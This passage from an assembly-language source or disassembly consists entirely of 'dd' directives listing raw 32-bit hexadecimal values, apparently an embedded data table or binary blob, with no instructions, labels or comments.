dd 799A2566h, 6CE45C06h, 303049ACh, 9CB99E03h, 0FCA8D815h
dd 0A338BD7Fh, 0A426AA09h, 0E2F12F60h, 0A1118E16h, 0F18359F8h
dd 92B5851Bh, 2A71310Ch, 0F75B8001h, 0A8A64C42h, 0A8088458h
dd 0DC588E94h, 5C9811E1h, 0ADBF1001h, 61F33046h, 0F9683E30h
dd 0BCFF18C5h, 23544C14h, 0B26411D8h, 5EA484E6h, 2B947923h
dd 0C6880C21h, 0C4B8CC69h, 0BC41242h, 5C444862h, 0B5116143h
dd 46AC82CBh, 0DC288715h, 1E9055C8h, 21D4F488h, 2444A509h
dd 3FECCC23h, 0A2BCA110h, 1A64112Ah, 28B3A584h, 7C468438h
dd 0AD0D9A1h, 14114721h, 9642ADA8h, 0EC425088h, 0E5881FFBh
dd 9B09CEBFh, 6C445C92h, 4930DA4Ch, 20DC860h, 11F9E7F3h
dd 870D6044h, 617072DEh, 8C4C40BEh, 0E703FF22h, 0EA7013E0h
dd 0C584215h, 1E7CD726h, 2460203Eh, 66522E91h, 6CD64D7Dh
dd 7E102F31h, 7B219319h, 92A88C44h, 28D2D0CCh, 8974162Ah
dd 0BC32A950h, 0FB09B030h, 40C82194h, 4BB482AEh, 0A090B589h
dd 98A66372h, 41C0F0A6h, 0B9E25C58h, 80B07601h, 21009BCCh
dd 2DC80F8Eh, 3C9081Ch, 76F67828h, 0B9A38A23h, 0CCCF77A0h
dd 93882900h, 0F4594565h, 76D107BDh, 121CC906h, 0C4C0BF05h
dd 190FCAB9h, 9D770C81h, 0D1BE0D03h, 24102C80h, 20013EC4h
dd 1AC4F285h, 0CCDC611Ch, 0B83CB988h, 3AFA3E78h, 3E60DC22h
dd 0C909972Fh, 0BA0B0001h, 84494E24h, 81FB041Ah, 852FA7FDh
dd 52EB420h, 1DCF074Eh, 0A91828FCh, 149A0B25h, 0A61A0E7Ch
dd 9BB23AE4h, 0FDC1136Ch, 9D85D441h, 287089CEh, 0C25717ECh
dd 8C50046Ch, 0FE8700B6h, 736416CCh, 0F352302Bh, 0AFF48280h
dd 86B17003h
dd 0B94E95FFh, 447057C8h, 843F8021h, 83C79D00h, 550CA0C0h
dd 8518C125h, 0BE91FCA5h, 0D8292E70h, 0F30C4020h, 0E97C1A56h
dd 0C09B1D81h, 0BE253CF1h, 4C162083h, 0C9E26AA0h, 7E7CE655h
dd 2B8FE1B0h, 417C5BF2h, 64FDB4E4h, 2E16ACF4h, 78196B15h
dd 26C85268h, 4EA980EBh, 0CAB1DC80h, 81BC74F8h, 459E6CE5h
dd 1040BE60h, 9C4052FFh, 3D2E19ADh, 480E9023h, 0D952F3D4h
dd 0A338818Ch, 301EBC2Bh, 0B91A804Fh, 88C850ECh, 0F8B903h
dd 2EB1DBE1h, 0A9205F12h, 0AEF8FAh, 62D8405Ch, 524554E5h
dd 8C59292Ch, 481EFE45h, 4E6A4832h, 9132782Ch, 62605C64h
dd 431B0449h, 0B7F867h, 0B3E12592h, 19C4A29Ah, 28BEE504h
dd 0E0B977h, 20C81EF8h, 2CBB1D8Dh, 80FB6578h, 0C5068964h
dd 77F854B0h, 0EC6B3E00h, 0F58B2576h, 2CE305BDh, 30DE60AEh
dd 0BE131544h, 75D93302h, 98D8DF0Ch, 0A569C04h, 7609DEFAh
dd 208480Ch, 0BEFC814Fh, 31F10C85h, 49654630h, 95FCC008h
dd 0CA28B086h, 74AC0E64h, 0CAB2F940h, 651C8209h, 0BE083274h
dd 9648112Bh, 0E610345Bh, 52EA3AF8h, 79408C10h, 0D009C88Ch
dd 82920B4h, 4042BF1h, 0F33B270h, 9C6E1302h, 43B25AC2h
dd 1C3D0C90h, 50808CACh, 0F0356746h, 0A425289Ah, 229C50D3h
dd 96449509h, 12988997h, 48922491h, 22949193h, 0AFAE44ADh
dd 0A912B089h, 0AB48AA24h, 0A524AC91h, 0E953004Ah, 0E75842A8h
dd 0F43DAE29h, 0FFB82719h, 9829844Bh, 0DD957504h, 0FC0A0008h
dd 22DAB69Ah, 9572BF99h, 2A89FFF9h, 0B89FE058h, 25F27F01h
dd 70DAC79Ah, 79C1D5D1h, 0A1C1DDE1h, 23C0E5F1h, 18CD7099h
dd 407E26F9h, 1005A0Ah, 0F25FB894h, 25599A8Eh, 48354331h
dd 0FF04A1FFh, 0AC2764D5h, 6C4AC088h, 0FC4DA7EBh, 0D6E18BE1h
dd 0B0384AF1h, 220B852Ch, 0F10641A7h, 0EFA90C75h, 14EE4509h
dd 0EA042F38h, 47FC0BAh, 1A9DBBDh, 0F3600C21h, 8B571644h
dd 0D6BF4E21h, 36805734h, 0BBEF1A59h, 73DA1F5Ch, 0FDCD0C30h
dd 0D8004218h, 1631FA6h, 50E5A575h, 0F8AE1CFCh, 2389026Fh
dd 27D29F58h, 54062890h, 0CE44CBDh, 409AD55Bh, 0C172A9B9h
dd 0ACF13881h, 1ED26CF0h, 74DF08Bh, 60FC45A2h, 0EC8E1CC6h
dd 59009B78h, 851ABA0Fh, 74F29A0Bh, 20BE0066h, 1CABF678h
dd 0C203078Ah, 56DA851Eh, 0C8FAE04Fh, 0F6573A2Dh, 0FC812B06h
dd 0D87480BDh, 0FA0C6EF8h, 407628CAh, 5770078h, 0F6124BEh
dd 40A422BDh, 761E2FF0h, 3900BBF2h, 901D9A99h, 0A6CA78F6h
dd 66F11E30h, 852E0A0Dh, 0FA64611Ch, 3F5610C4h, 0CB0F1D8Bh
dd 0AC0D0A2Fh, 55EC4860h, 0A4E8C797h, 84CB3783h, 570C71C0h
dd 66BF18ACh, 8D0101A4h, 0D20C4DEEh, 0C230222Eh, 811CC910h
dd 49EECCC4h, 2B15B2F0h, 38FD4Eh, 0CF601656h, 900E3AB2h
dd 9420B910h, 4070A414h, 1B2FDFBh, 0C2D85FE3h, 0D0FA5A22h
dd 0F8A88B15h, 0CF130C8Eh, 9C2A37EBh, 18AB00EBh, 459DE557h
dd 0A7F0006Ah, 0CBB6FC4Dh, 2037715h, 0E852DCCh, 0F55FF08Ch
dd 0A1009AC8h, 288360D8h, 0B30C44F1h, 0D09880C4h, 0C7017322h
dd 0B88168Ah, 40302BC2h, 451524CCh, 76DD02A8h, 2066CBFDh
dd 1DB26CA0h, 0CCF28A12h, 2250EC19h, 1A7B7423h, 9076E488h
dd 5D04177Dh, 0DC3609h, 0CB108E30h, 95409D1h, 965520BBh
dd 0B858AB98h, 3A812FBAh, 4E3FBE07h, 325A693h, 501CCBD0h
dd 8F20C5C0h, 752F40C4h, 77D1C0C0h, 0E2DFAF1h, 2CC8021Ch
dd 8C80109Ah, 88216593h, 23C20E05h, 70800C81h, 0E8C80559h
dd 4877F043h, 0C60CA022h, 2E107828h, 1C608462h, 4AC4381h
dd 24C20558h, 0D8C6AA85h, 79770E40h, 218C068Bh, 1B7876C8h
dd 0D7D45A95h, 9894EC60h, 952EC1A0h, 0FAF7D059h, 8A1EF894h
dd 1C17BE09h, 75E3D460h, 0D1BB1601h, 20603787h, 0C3FA6CD2h
dd 0C121C71h, 0B8742FCEh, 74B08FABh, 0E355EEFDh, 21C7F884h
dd 3E0F7A85h, 30617120h, 61BF058Bh, 70DC7F7Ch, 0D70C9ECFh
dd 0EC360BF6h, 0C4201EBDh, 0C1F88E3Ch, 0E485232Ch, 6CFC1CE2h
dd 9859580Ch, 0F58C2D0Fh, 3C851D9Dh, 2863203Ah, 204D772Ch
dd 8C826C4h, 0C09FA19h, 94C4C2E2h, 72DC98E4h, 1EC0B22Dh
dd 2EC1AE22h, 0DDB11D20h, 1C313E75h, 0F08B2E69h, 0CE825BBh
dd 0C71F20B9h, 0F692C29h, 0B3809B3Ch, 34D84805h, 0B58D133h
dd 0E8B1FD0h, 602CC73Eh, 0AE21E3B0h, 9018A6A8h, 0E0732F50h
dd 60D70CB7h, 1684FD5Fh, 84206B5Bh, 43742C85h, 7CC4D3F5h
dd 0E12C182Fh, 9E0580C8h, 0CB0F852Ch, 3F7D50B4h, 19ABF601h
dd 60BB0575h, 0A75D0FD8h, 25C20264h, 0ABBDF885h, 50F86640h
dd 0D1509Dh, 0D2A1E938h, 22C90B64h, 0CF2520B8h, 89F0D619h
dd 44E00184h, 2813CAFCh, 3CC80F8Bh, 40D4B41Eh, 781D9F99h
dd 2BC4D600h, 23C80B81h, 2EF6788Dh, 28C562Dh, 0C2FB5928h
dd 0A6DA90E0h, 0D67C4875h, 2B50C082h, 21F26084h, 8A2DCEF6h
dd 13BBFA3Ah, 50D21081h, 6C85BBDh, 688C4357h, 0EE674E17h
dd 8059E00Ah, 0BB342F14h, 0EC853F25h, 4250F72Dh, 2F90F834h
dd 90B8CC10h, 0F285939h, 0B90EF0BBh, 80614299h, 108A309Dh
dd 72D10CC9h, 0BD21C1F1h, 0B782909h, 90117FBAh, 7430381Ch
dd 0F160E0B6h, 1C0526Ah, 0FD6F0D1Fh, 0E061FB17h, 723A234Dh
dd 507C7D24h, 22F21C01h, 56FB05F6h, 5AFF2080h, 610313F3h
dd 0F1031AE8h, 0F8110F54h, 0F201A06Fh, 0A106F46Bh, 3F0D283h
dd 30F31D50h, 1A183EFFh, 102228FDh, 263E0B74h, 13FE00F2h
dd 1AC75D40h, 620C0F4h, 2FD5EE8h, 40C4D1E5h, 5F322A7h
dd 0C307FF74h, 0C05CFB13h, 0DF036040h, 0C01D7C3Ah, 0FD55F210h
dd 10F402Bh, 0F61FCCh, 6BFE4DF3h, 72F1F5F9h, 0F288D8B0h
dd 5074F110h, 551D4D06h, 784011F9h, 56221CFBh, 51F507FEh
dd 108539h, 6FED0280h, 57007B3Bh, 0EC1FFE61h, 6111C263h
dd 0F1076040h, 0FFD09F02h, 3610183Ch, 64401E28h, 0A5EE96Ch
dd 6D4058EDh, 0E86FC260h, 8C3635Ch, 3000712Dh, 4D3B5BF2h
dd 0C46AECh, 0FF634010h, 0C26BF41Dh, 0BEE9027Ch, 78612988h
dd 0F91D8124h, 0C354EF05h, 0CC22C807h, 0FD6B0EC0h, 0CD63F811h
dd 1C017E8h, 54C054F0h, 0EB042F44h, 7A349C0h, 0E500DAD5h
dd 662273E6h, 18C2FA67h, 295D85DDh, 0A20B7840h, 37EDB0Bh
dd 300EE37Eh, 22214908h, 5000A270h, 62079092h, 182BAFh
dd 98495E64h, 61CD60E2h, 35A0F806h, 1881659Bh, 89C0DD7Ch
dd 0E00C219Fh, 380AF7A7h, 7AF000C2h, 723187DDh, 6F1DCC59h
dd 0D2984B11h, 40299A48h, 0E618E461h, 0D7B825E7h, 0DEAC00A7h
dd 0B06ECC5Bh, 0E20C7A05h, 20332FAEh, 165E0A60h, 78200D3Dh
dd 288CDBBFh, 4688ECBCh, 0A26402D1h, 315EDB0Fh, 7C1E104Eh
dd 126300A2h, 96F871E7h, 0D5F4AF49h, 0C9F1CC60h, 0A85CCEA8h
dd 548BCF8Ch, 70AF981Fh, 1AEB2A0Dh, 21D100D4h, 0B2E3288Ah
dd 0D60A3FF9h, 0A3B7D5EFh, 7CE28C20h, 352CD950h, 28F09952h
dd 5922A002h, 5B16034Bh, 5356A841h, 0EC6D7800h, 0D530DF31h
dd 1CB45082h, 3C775FEh, 0C55E7ABBh, 288C0853h, 0F1D68333h
dd 89B76000h, 61CBB570h, 798C006Ch, 217FAAD7h, 3B0C1FD9h
dd 885DC9BFh, 0FEAD069Ah, 78381D98h, 12673CA0h, 91583782h
dd 4682ACBEh, 6BAB02BAh, 826D4C04h, 837F01B0h, 73F7858h
dd 0BE9F3039h, 0A7B19003h, 0FD003654h, 2ABB29FBh, 6CD98h
dd 6C87B333h, 7B9F77B4h
dd 7FFEE40Dh, 0B882E0C1h, 3B17F605h, 0D99178BDh, 0D0AE6BACh
dd 4F4F864h, 0AEA83C90h, 1D49147h, 78376F68h, 22418FCEh
dd 4B0660C9h, 335C41F3h, 3A082343h, 0D10C2100h, 0D72542A0h
dd 0FCBF489Eh, 80319210h, 0B13CAD43h, 0F4C348C6h, 60864DACh
dd 0CE98F96Ch, 6502A937h, 0CBFE6167h, 0D2CC4135h, 0A2087918h
dd 0C466DB08h, 711D4348h, 49F0EFA2h, 24D5B13Ah, 4489B89h
dd 14594485h, 0D1A909A8h, 10A01775h, 59BDC43Bh, 4746FA0Fh
dd 0BC81E00Eh, 232CEADh, 201C1F80h, 711074F3h, 8420B753h
dd 8561BADCh, 0F1D18056h, 0BA26191Ah, 875F001Eh, 8B042263h
dd 0CA18D547h, 0C029509Ah, 0FE5CEAAFh, 890C00D4h, 497633F3h
dd 7024B6FCh, 0E6844CB1h, 9E01299Bh, 7A584Fh, 39601BD2h
dd 40C94772h, 81084D00h, 2E1CFAD4h, 9E26333h, 2D210074h
dd 8C3A8110h, 0E50CE75Eh, 58CF1BD6h, 0CDBF10DBh, 0FDC70F53h
dd 0E294A301h, 1314C069h, 0B1C50AFCh, 21B05FCEh, 1871713Ch
dd 0CF520A53h, 9CA01527h, 502B18E1h, 38B1E07Ch, 6C704803h
dd 827FA293h, 177BB8h, 6272984Bh, 86A730CFh, 61865F7h
dd 33FE9A7Dh, 0F800C837h, 0D061DDCCh, 61A2982Bh, 0AE6C3040h
dd 0EB02EEA7h, 205C4810h, 699A0092h, 0FAC11A8h, 7B3DA547h
dd 48E780AFh, 1446C361h, 319972E6h, 78601BFDh, 7EA98037h
dd 0B23346A2h, 75980012h, 0E6B85D01h, 0AA2090C1h, 0A7255h
dd 0CB9BEDF3h, 0DB36FD25h, 58E44F14h, 0F61474B4h, 0A2ECCDA3h
dd 875C4022h, 1064607Dh, 523805D4h, 40A99F2Ch, 87006511h
dd 0FC9D1C9Ah, 671D6199h, 9C0402F3h, 0EC006689h, 9DFA0FB2h
dd 4FD77706h, 1C182AC2h, 5489E2C1h, 0EB18B404h, 0D4725166h
dd 17A30B09h, 7D0803E3h, 0E6A90B4Ah, 409FCA77h, 85804411h
dd 1D752407h, 4320FB0Eh, 919B0051h, 5ACAA5h, 14BBDECh
dd 8C032CA7h, 5BBEE114h, 983928A0h, 0C7D1B060h, 58F8449Ah
dd 0E710CC55h, 884C520Ah, 8101C07Dh, 0E446FACFh, 24007522h
dd 327D8109h, 30B30E48h, 10B9579Ah, 35008E49h, 0CDB7DEF7h
dd 244260D3h, 0C05C9741h, 63BBC7FAh, 1B442C92h, 87786Eh
dd 53F97FECh, 0B5BA63CEh, 9A5CC51Fh, 59656130h, 0B7D116EBh
dd 4FB40493h, 83E30035h, 140EFBECh, 18FA1EC2h, 0F5B7DB05h
dd 0A184014Dh, 96CB97E6h, 10041E30h, 5035AA6h, 0ABCACC4Ch
dd 2944E4C0h, 2674DDE9h, 0A0353E80h, 10689067h, 619AFD7h
dd 485AB04Bh, 0DFFE3948h, 3C1834B6h, 0C0F3A634h, 1FE34CC1h
dd 7EE03184h, 58850553h, 0FA325401h, 2BECB040h, 0B7630901h
dd 642A4815h, 310DC7DCh, 10288FFEh, 77CB1E0h, 738485DAh
dd 0D66E61FCh, 0D55034C7h, 8069BF2Ah, 0D4C89848h, 1DF2348h
dd 0DB35A27Ah, 8845180Eh, 0A2007220h, 0FC15386Bh, 48A85023h
dd 0E86784DDh, 0D5D82DFFh, 23282257h, 8107017Fh, 18F4FAC9h
dd 0F268876h, 3DD8104h, 14D1C97Bh, 6AC0A6EDh, 0F8F3058Eh
dd 70DF8B30h, 0E3077084h, 0E98D300h, 0BDB1D1F8h, 805499DDh
dd 73D2B244h, 0F2072EAAh, 5C9315D3h, 97AFF331h, 157B06DCh
dd 986FE2C5h, 7E058782h, 4B513F14h, 0E21E59E1h, 0DA8C5162h
dd 55BDD0DEh, 5CE9B712h, 3B1BFC21h, 80307B01h, 0A43D4AD1h
dd 26DDC18Bh, 27C851h, 0F499CEDEh, 0D2904846h, 0E0887F54h
dd 8317DD00h, 5D785F37h, 420300D0h, 6CBD163Bh, 26E16A9Ah
dd 0E81428F8h, 7B02DC46h, 76DB0AA2h, 23104F31h, 103A273h
dd 5AE02BA1h, 0A8484034h, 0F7F41FE5h, 42845DF8h, 326F696Dh
dd 0D4049CECh, 0DB4B0BA0h, 3203B62h, 0BCA0DCh, 35D33928h
dd 43AEE5A6h, 20883051h, 7D44E1B4h, 9B5A0894h, 0BDC21E21h
dd 0FA00C02Bh, 0EA12156Dh, 0F00BC63h, 0E4789D0Bh, 0CE1B3C31h
dd 0DE0821ECh, 332D0021h, 0DBC7B29Dh, 0FA008206h, 0EDA363BAh
dd 9DDA293h, 0FEDA5BF2h, 0C2C31C82h, 0A6F5D501h, 19050C33h
dd 20306F68h, 5A0CA78h, 11CB4B23h, 0D201003Eh, 0A84BC9A0h
dd 0C9C66h, 4D96E05h, 0B71AD5E4h, 0B0D842F9h, 60E86FCCh
dd 0ACABB91Ch, 0AF00B4ECh, 0D08B0977h, 0B1306EEh, 9EE4EB6Ah
dd 0EC40A432h, 51C05B88h, 0D9BF2DBDh, 1F3C9148h, 0B7D93013h
dd 7C99400Dh, 0C1851D40h, 4D87372h, 0B4F169C7h, 71D882A8h
dd 11810530h, 8804FACBh, 0D208077h, 79A47C81h, 8051820Eh
dd 3C707331h, 877BA1B7h, 6580D611h, 46DB0CA2h, 19587094h
dd 0DCA2007Dh, 2A6596ADh, 0C163B73Bh, 7B44F1h, 0AE9A1D91h
dd 5C79BBA1h, 266DFB13h, 73D8BC19h, 81080B18h, 7014FAD5h
dd 81091322h, 82BFBB73h, 535E68h, 6B45AB07h, 0F03409Bh
dd 0D8FB6F9Ah, 90D613C4h, 233461Ch, 4B0AA0D5h, 172731D3h
dd 22A0DD00h, 5BF400F8h, 0B0DA76AAh, 0EF16792Ch, 0D02938B7h
dd 4A88640Ah, 475944C0h, 29B82EC3h, 65A50A4Ch, 181053C8h
dd 0E41E7E19h, 50C150FEh, 0CFF09BC0h, 4F292761h, 5045848h
dd 0CA37FFB6h, 782302C0h, 0C905E3A7h, 7A08EF98h, 400BD73Bh
dd 99C3096Ah, 0F0049B72h, 9D08600Dh, 9E42379h, 0F0581411h
dd 6A979D00h, 0DB8CE19Eh, 77CFFA0Bh, 1324A439h, 197B5A40h
dd 0E30EFE51h, 0C3998E4Fh, 8857C537h, 2BFB857Ah, 0B0CA82h
dd 0B20C9BE2h, 54BB1C7Ch, 74D18C29h, 0C6127518h, 0D0095AF3h
dd 0DB14907Bh, 3FF13F84h, 289416h, 503081CBh, 0CB1FFCDFh
dd 7E14B4E9h, 40C039B4h, 597D6144h, 0F052BE57h, 9BE00F5Ah
dd 0FBD5CB00h, 16761C1Fh, 510D0127h, 0A507739Dh, 2902DDF3h
dd 446A9E8Ch, 948DCF03h, 88CA9169h, 730FA19h, 68D3E1FFh
dd 5DC780C1h, 6A05038Fh, 82EE3B86h, 902384DDh, 0A53039A2h
dd 7B263A29h, 37C64601h, 34C5B733h, 0D5CCF10h, 60151054h
dd 9BF69A04h, 2B0300C9h, 0A15D5EA8h, 146602C8h, 38B9B041h
dd 444B45A0h, 61789C40h, 1E13096Ch, 406A5F4Ch, 12679D82h
dd 0F11C9ABAh, 978192A4h, 6283DFFAh, 3F886C4Eh, 0C69CFEC0h
dd 429300F8h, 0C865ECA8h, 51136D61h, 0F490924Eh, 82D903E6h
dd 4B44D467h, 1A7D0067h, 0AD06B077h, 0DF7CD672h, 62605C21h
dd 9FDB6205h, 8FAC97CDh, 5443FE80h, 0D8D82920h, 831DEFE8h
dd 599E91F8h, 79047C92h, 4B0B917h, 319678C1h, 71E23833h
dd 41B6630h, 0A691B661h, 0DF20E448h, 0E4433F40h, 870E1F14h
dd 4BCE0601h, 0B5EC183Ah, 28B69C7Bh, 8A30DF08h, 80A019EBh
dd 0AC17378Bh, 5B1FA9C9h, 0E945B2ABh, 0B0B3D982h, 1F645DE1h
dd 2E645D84h, 0D5B89A04h, 0DF70DB82h, 65FC9901h, 0C870432Bh
dd 45BE2480h, 0C026C7E8h, 621330A1h, 23AF27h, 94AC6AF4h
dd 0ECB10998h, 70B193A6h, 159C2695h, 0DC7044h, 0E9AE1D6Eh
dd 156851Fh, 0E6905B79h, 0F1A3E5EDh, 2449D9FAh, 7C05A1B4h
dd 72EF23C5h, 1381492h, 32E63509h, 10004CF4h, 65246D03h
dd 0C5A03D7Ch, 0ED7B3B7Dh, 6DA680C7h, 88483A38h, 8C49E8h
dd 0A925CBEh, 0D489D507h, 0C843A496h, 89F88DAh, 0C33502F0h
dd 5B4D87D5h, 0AFFECE00h, 9848B0A0h, 6AAE1250h, 3D900909h
dd 0A0D7FC30h, 234B0813h, 1F026838h, 40F4A0DFh, 3B3526A4h
dd 0F494E383h, 221C040h, 4BDF24C7h, 432E0079h, 5C9352A7h
dd 0EC13A798h, 0F405BD6Fh, 0BC8860DCh, 28413Fh, 5A6C8DD4h
dd 0E00977F8h, 461CEE8h, 0B059088Ch, 9C81836h, 0FB4B07A0h
dd 0F87C845h, 0CFB0A0D0h, 1DA70A3Ah, 8057AAE8h, 0DFA42F97h
dd 7B186F1Ch, 0EB31C35Eh
dd 489212h, 7AC95D94h, 0FAF64570h, 5D96100h, 0A2A1B0BFh
dd 7BDD0491h, 8164EBE0h, 10602BC4h, 0AB12E61Eh, 52EAA2C8h
dd 91521C74h, 0BF9A8057h, 52F3417h, 3F23FA00h, 45EE047Ch
dd 3C249266h, 0BE04141Eh, 837B0AE8h, 65E22EC8h, 40E03501h
dd 8DF82981h, 21A6A841h, 22BC2274h, 3BAEA113h, 0B99D424h
dd 5943B04Fh, 3C802CEAh, 0C16581D3h, 3485F92Ch, 124D2608h
dd 1EC40197h, 82CF0CE1h, 0D1873530h, 0E6604863h, 32F096A7h
dd 0C05B6D89h, 86306671h, 0C0B21DECh, 0D4AE05FCh, 797448D9h
dd 5C8000A8h, 562D9849h, 0DE8384Fh, 6BAC381Eh, 7C08E183h
dd 66C11FEEh, 50433C2h, 12CFC75Ah, 583D24B7h, 43385B96h
dd 4D9A5C10h, 1677A900h, 5506D06Ch, 9DC400E6h, 3E713074h
dd 7604EA42h, 5B225DDh, 0B31774BDh, 136C8250h, 4ED97CD1h
dd 0E805AC18h, 0C3E605FBh, 2A0DA0A0h, 0DC61EBh, 0F5FCEEE5h
dd 43936C96h, 0C9E6761Dh, 0DFFEDB41h, 0C8833C17h, 3592884Bh
dd 7B3DE00Ah, 8E83A0CAh, 9A3C476Ch, 98F0D06Eh, 0C45A4992h
dd 10CF407Dh, 0C692CCA0h, 0E6998704h, 0FE00D053h, 10A55898h
dd 3DD1C491h, 3C75C618h, 87DB111Ch, 6EC882EFh, 74872F6h
dd 75548CA1h, 9AB09142h, 0E0C08251h, 0C06B369Ch, 0A9EF6ACCh
dd 8EDEC584h, 0F8119EB0h, 71ECE028h, 0F8C86E72h, 8939BC47h
dd 254310C9h, 3D283730h, 0BC648B05h, 948466A4h, 0C86B6914h
dd 980D202Ah, 249E0C98h, 49465Eh, 0D4CE4C60h, 0F973A77Ah
dd 0E2A8D850h, 0EC40823Bh, 0BD7229F2h, 5FDD7C80h, 8B9C17A0h
dd 0C026C8E4h, 8D35368Ch, 72A98202h, 50B677FFh, 6A232C6Ch
dd 90EA1608h, 98AE21Ch, 3E47B000h, 7603C437h, 542F00C5h
dd 0AFD082B2h, 7D26679Bh, 0C9400044h, 1462F56Bh, 0E87B3E5Dh
dd 9CC0A314h, 23E82F5Eh, 7E3E44h, 0BAF117D1h, 7B82DAB7h
dd 3580D254h, 384BE14Bh, 3A88E885h, 0E86A01A9h, 0A21EE779h
dd 41BBD072h, 5F1F8F76h, 0B5416873h, 0D5E60801h, 2F497C48h
dd 0BC0BEE90h, 88A0CC0Bh, 4D66B0CBh, 3CA40894h, 2D082A15h
dd 110C1768h, 93458039h, 1B86BEFh, 0DB7C5EE6h, 29624DB7h
dd 0B66F025Ch, 80546691h, 82A8C934h, 463CA43Fh, 0A0097534h
dd 0C5EB4B01h, 0D60D80B4h, 0F3DF3FA0h, 0FC24F600h, 17A3C068h
dd 9ECE73E4h, 69640198h, 50599A6Fh, 6CEC6EA8h, 0A0ED200h
dd 53DFFA43h, 129C991Ah, 0ACF48146h, 602FFDBDh, 0F6909D3Ch
dd 31A7DB09h, 37EC107Dh, 9FE28333h, 0E201545Ah, 0E0326195h
dd 70AC6336h, 24933BF4h, 0BC480E7Ch, 92885B6Ah, 0A208C13h
dd 0E47B9D08h, 4316C439h, 0BF9D322Ch, 0EC560829h, 8148F608h
dd 0F2E04B93h, 43A4483Bh, 0B2EA4C0Fh, 6C1038DFh, 4C63909Ah
dd 0DB1384C2h, 1EE02023h, 0E88B5CE2h, 0D04C6C9Bh, 0B314A018h
dd 0C1041427h, 0C1F4A2ABh, 1D93F98h, 0C891736Fh, 9D0C8709h
dd 0D1E9E4F2h, 342660E4h, 1A001C9Dh, 99B6B5A1h, 0C4234779h
dd 1CC05398h, 4EB89B00h, 30DC44AFh, 38A1529Ah, 0C100885Ch
dd 548211Eh, 15DB83h, 8C9FA81Bh, 0D49B3E9Ch, 908C024Dh
dd 33EEE9B4h, 7F4D6C01h, 8020CF49h, 0B3803C78h, 12AE787h
dd 0A1C18903h, 0F04C31EAh, 235FC29h, 0F21C43B9h, 444E3F9h
dd 0F88060E4h, 0D33F4AA7h, 0A59FB194h, 88CCB0C8h, 100CE524h
dd 0CCC8708h, 59397244h, 0DE9E730Eh, 2B902046h, 2EBA4C34h
dd 9534B43h, 0E0858969h, 2A3482E5h, 0CCCFD891h, 0F6043AFh
dd 0A981370h, 20B49C3Dh, 90494A90h, 1747E6B8h, 594FDB80h
dd 7424000Ch, 4588281Ch, 80A8B84Ah, 6210AE47h, 3DEFACC1h
dd 5EA01E21h, 9F5B6D09h, 24902EF5h, 0E8CE5C1Bh, 0C8C13B88h
dd 3CCC5E92h, 0F91E184Fh, 0B6516154h, 18CC2A95h, 892B8308h
dd 9C909935h, 0E488529Ah, 0BCC300D3h, 1AD41541h, 30001F1Bh
dd 422C9B3Ah, 1EA24AA5h, 42032DB1h, 0DF9D12Bh, 0A6738CC1h
dd 8D08E459h, 0B0DF1F7Ch, 5CCAA954h, 42C6348h, 4B5187D5h
dd 0E0C4348Dh, 0B43250F6h, 0C3FA000Bh, 0E53A9CECh, 0B0B37F87h
dd 41B2EF0Eh, 460691C5h, 20D830A0h, 2B0805C7h, 948BE88h
dd 0B4A3D49Ah, 0BCBA82D5h, 477CF45Ch, 17B3F2B3h, 83CFF884h
dd 382014B1h, 0B180C0B4h, 0A84F9992h, 729C8995h, 40474E90h
dd 0D82A3F54h, 330FF1D0h, 227F5773h, 40E2EFE4h, 1E11C9E7h
dd 0C10D4Ch, 0BC89891h, 53028551h, 40EDA805h, 41AC82BFh
dd 1E6CE75Ah, 0CE8B0CE5h, 0FE3EF810h, 0C5A0824Bh, 543B86B1h
dd 5C8CEFECh, 0D442BE8h, 71BB2EE1h, 0C9A0ACB8h, 37A70082h
dd 0F0825500h, 0FAD52678h, 0C5E70890h, 5318101Dh, 0B06E4760h
dd 0E26C01C8h, 655F5B55h, 1AAAF3A4h, 87D04A09h, 1C883208h
dd 0DD19B146h, 5A10E0DAh, 0C2E18D16h, 5A62D449h, 3FC71058h
dd 579F0017h, 6BB6A7EDh, 91D8967Ah, 80945C2Dh, 90E5356Eh
dd 0B2643EE8h, 2C15661Fh, 3E4676C0h, 984B2D03h, 985050CEh
dd 1A455B24h, 0C96380BEh, 39003278h, 3650AA2h, 1E66D9F5h
dd 424BCAD1h, 2D58CBD8h, 4FA9AC40h, 0DF84EC9Ch, 6C006A7Ch
dd 90B48CECh, 0DD22DC7Ah, 0B02B0BCCh, 802E63DEh, 0E07CC898h
dd 49EB3144h, 66003C1Eh, 0A9AC6790h, 0B40E730Fh, 0C4495B8Fh
dd 0B8A19EC4h, 10B8EC38h, 50C6268Ch, 276589E4h, 6479B082h
dd 0A75ACF01h, 0EC2410E9h, 3A1220A8h, 85FE0204h, 0BCC27DB0h
dd 13772FEFh, 73D0202Ch, 4E00BCBFh, 9E0D3C87h, 1FB4943Bh
dd 1234D108h, 3F9F1F9Dh, 0EF1D74B9h, 7350020h, 61F8CE3Dh
dd 59C8A603h, 30B89E0Bh, 5F213A08h, 8200F8C6h, 108F03D9h
dd 0EB7A889h, 0EEDA4663h, 485D0400h, 74011D07h, 9C3E7942h
dd 80C8DD0Fh, 5A7D55h, 38B0E5BEh, 0A80A41DFh, 144F0900h
dd 6947A24h, 60FD0AB3h, 9C24230Eh, 88A240F0h, 9308FE2Bh
dd 0D6DE6D0Bh, 42980162h, 0AAD44EC7h, 0F6C600F9h, 79F7A26h
dd 39605C6Eh, 0E0605541h, 53BE03CDh, 4BB67841h, 21C00873h
dd 0AAE05876h, 5A51BC2h, 0CE3E87Bh, 0CA512788h, 0B1160A3Eh
dd 4A5D198Dh, 0E20E3982h, 0F2C0424Eh, 9C38C9F9h, 791A07E0h
dd 84E0129Eh, 1532B152h, 0A02AEF90h, 40F7201Fh, 5AECD89Dh
dd 6700D51Fh, 0D3D69B72h, 0C028EF85h, 5FC5F029h, 25050D50h
dd 88D4CF0Ch, 0D9D22DC1h, 523A530h, 329C34CDh, 0DCF00083h
dd 5C671C99h, 22BAFD1Eh, 0F97E54h, 102512A2h, 18BEC723h
dd 30850AA4h, 0C002C47Ch, 512A1D01h, 39C8FF7h, 18760A94h
dd 0F17D0620h, 580084C7h, 0C0BC2A0Bh, 77CB738Ch, 3B7B03C4h
dd 5BCDB292h, 0CAFF9006h, 8181D68h, 57E1A290h, 4C079037h
dd 158091C8h, 1A4465Dh, 15A05E35h, 41D4094Fh, 0E4400BEh
dd 0A848CE47h, 0F02A8592h, 0E5008C2Fh, 0AA273B08h, 3DBE904Ch
dd 778FCDD3h, 0D720840Eh, 8C36FB40h, 55749E20h, 1888701Ch
dd 0A8977EAh, 953C21F3h, 61802EF0h, 0B7C531F9h, 72004CDCh
